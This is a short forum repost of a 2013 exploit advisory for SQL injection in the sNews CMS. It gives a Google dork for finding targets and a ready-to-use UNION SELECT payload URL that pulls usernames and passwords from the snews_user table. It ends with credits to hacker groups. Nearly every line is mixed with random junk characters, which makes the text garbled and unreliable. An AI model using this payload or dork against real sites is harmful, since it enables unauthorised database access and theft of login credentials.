标题: CMS snews SQL Injection Vulnerability* d' ~: }9 s; i; J+ j. d
作者: By onestree7 L6 C$ C3 n% s# x
下载地址 : http://snewscms.com/
2 E2 D6 t0 r8 K( w" a测试平台 : ubuntu 12.10 / win 7& ~( X, r* }- i, i: x q. I
关键词: inurl:"tanyakan pada rumput yang bergoyang"0 N, k% t/ ^. |0 X. g7 R
! E" ]! t! N5 {
+ ]8 o- s$ f0 i. L @- x*************************************************************# l% m, D7 `" G* L
* |8 q' P! l9 W P$ WSQL poc:
) a/ Q1 E7 e G! Y2 |. r# L - Q" u/ X5 A" e: Y7 i# x
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
1 S! Q: a) |2 f! q$ w# m- ?: [5 q$ s / ], ~( g) d1 Q4 x9 f' Z* V5 G; I, l7 F
示例
6 _& ~" P* Z7 d3 a; C! i5 h
8 ~2 P7 Q3 H6 L5 ^2 V" thttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
' J1 D/ r( C0 d4 N
4 w$ A# t/ i% y# r7 v9 Q8 D) j7 N; E
) R: M( g7 ]1 a# `' f2 J1 j' v致谢:
% s3 t% u: K8 W) D- |: } # ]1 `' I7 z: d$ z, J
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
# S0 e* H$ T o. a7 t 7 D- l& k0 d4 | r* }! w+ _
indonesiancoder - moeslimh4x0r - go-coder
* G& [. y, m& N% G4 P3 ]9 N ' ~- s S* u4 U- g' Y
spesial my hunny :* E1 S+ f+ _9 M9 X, }- T1 b/ Z( }
|
发表于 2013-1-23 08:55:06
收藏
支持
反对